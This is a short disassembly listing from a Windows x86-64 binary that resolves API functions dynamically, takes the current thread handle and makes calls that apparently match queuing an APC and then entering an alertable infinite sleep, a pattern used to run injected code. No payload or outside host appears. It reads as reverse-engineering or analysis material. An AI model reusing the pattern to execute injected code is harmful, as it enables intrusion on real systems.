mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x698], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x6a8]
mov r9, qword [rbp + 0x6a0]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x698]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
add rsp, 0x930
pop rsi
pop rdi
pop rbp
ret